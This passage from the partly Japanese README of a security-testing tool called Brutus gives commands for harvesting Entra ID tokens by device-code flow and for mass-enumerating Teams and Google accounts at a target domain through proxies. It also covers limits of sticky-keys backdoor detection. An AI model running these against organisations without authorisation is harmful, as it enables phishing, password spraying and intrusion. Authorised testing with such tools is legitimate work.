brutus enum hunter --domain example.com --output people.jsonl
# Adjust pagination page size (default: 100)
brutus enum hunter --domain example.com --limit 50
```
---
### Microsoft Teams / Entra ID 認証
Microsoft Entra ID (Azure AD) から [デバイスコードフロー](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628) を使用して、OAuth2 アクセストークン、リフレッシュトークン、ID トークンを取得します。取得したトークンは、Microsoft Graph API 呼び出し、Teams 列挙、および ROADtools やカスタム Graph クエリなどのツールを使用した監査に使用できます。```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth
# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json
```
**動作の仕組み:**
1. Brutus は `login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode` からデバイスコードを要求します。
2. 短いコードと URL が表示されます — 任意のブラウザで URL を開き、コードを入力してください。
3. Brutus は、サインインが完了するか、コードが期限切れになるか、`Ctrl+C` を押すまでポーリングします。
4. 成功すると、アクセストークン、リフレッシュトークン、IDトークンが出力されます。
**人間用の出力**は、アクセストークンの最初の20文字のみを表示します(検証には十分です)。完全なトークン値を取得するには、`--json` または `-o` を使用してください。
**デフォルトのクライアントID:** Microsoft Teams デスクトップアプリケーション (`1fec8e78-bce4-4aaf-ab1b-5451cc387264`)、デバイスコードフローをサポートするファーストパーティのパブリッククライアントです。独自のアプリ登録を使用するには、`--client-id` で上書きしてください。```
$ brutus enum active teams auth --tenant contoso.com
[*] Starting Microsoft device code authentication...
[*] Microsoft device code authentication
Open: https://microsoft.com/devicelogin
Code: ABCD-1234
Expires in: 15m
[*] Waiting for you to complete sign-in...
[+] Authentication successful
Token type: Bearer
Expires at: 2026-06-16T13:00:00Z
Scope: offline_access https://api.spaces.skype.com/.default
Access token: eyJ0eXAiOiJKV1Qi...
Refresh token: <present>
ID token: <present>
```
#### Teams ユーザー列挙
認証後、メールアドレスを使用して企業の Teams ユーザーを列挙します。各結果は `exists`、`blocked`(テナントが外部検索を禁止しているが、ユーザーは存在する可能性がある)、`not found`、または `unknown`(認証/転送エラー)です。個人/ライブアカウントはサポートされていません — 企業テナントのみ。```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]
# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000
# Enumerate emails from a file
brutus enum active teams users -E emails.txt
# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"
```
リフレッシュトークンが利用可能な場合(`--token-file` または `--refresh-token` 経由)、期限切れのアクセストークンは自動的に1回更新されます。それ以外の場合、`401` はグレースフルに `unknown` 結果に低下します。
---
### Google Workspace アカウント列挙
2つの**認証不要**のオラクルを使用して、メールアドレスが Google アカウントに対応するかどうかを確認します — トークンやサインインは不要です:
- **AccountChooser SSO リダイレクト** — シングルサインオンが構成されたドメイン上の Workspace アカウントと、それらがリダイレクトする ID プロバイダー (IdP) ホストを明らかにします (`workspace-sso`)。
- **GXLU Gmail プローブ** — Gmail が有効なアカウントを明らかにします (`gmail`)。
各結果は `exists`(確認方法と、SSO の場合は IdP ホストを含む)または `not found` です。```bash
# Enumerate a couple of emails
brutus enum active google -e [email protected],[email protected]
# Generate candidate emails for a domain and enumerate the most-likely 5000
brutus enum active google --domain target.com --format first.last --limit 5000
# Enumerate emails from a file
brutus enum active google -E emails.txt
# Route through a SOCKS5 proxy and raise concurrency
brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20
```
`--domain` は `enum generate` と同じ頻度順の姓/名ジェネレーターを再利用します。`--format` はユーザー名のレイアウトを選択し、`--limit` は最初の N 個(最も可能性が高い)候補に生成を制限します。`--domain` は `-e`/`-E` と組み合わせることができます。
---
## 既知の制限事項
### 固定キーヒューリスティック検出
- **交互の偽陰性:** ヒューリスティックのみの検出(`--experimental-ai` なしの `brutus logon`)は、同じターゲットに対する繰り返しのスキャンで偽陰性を生じることがあります。検出成功後、cmd.exe ウィンドウがサーバー上に開いたままになります。後続の接続では、ベースラインフレームに cmd.exe が表示され、5 回の Shift 送信では新しいウィンドウが作成されないため、ピクセルの差異は最小限となり、「クリーン」な判定になります。これは `--experimental-ai` モードには影響しません。このモードでは応答フレームを直接 Vision API で分析し(ベースラインと応答の差分ではなく)、直前の状態に関係なくターミナルウィンドウを確実に識別します。
- **回避策:** 繰り返しのスキャンで一貫した検出を行うには `ANTHROPIC_API_KEY` を設定した `--experimental-ai` を使用するか、RDP セッションがリセットされるまでスキャン間にクールダウン時間を設けてください。
### ブラウザプラグイン
- Chrome/Chromium がローカルにインストールされている必要がある
- ヘッドレスモードはすべてのシステムで動作するとは限らない
- JavaScript を多用するログインページでは、追加の待機時間が必要になる場合がある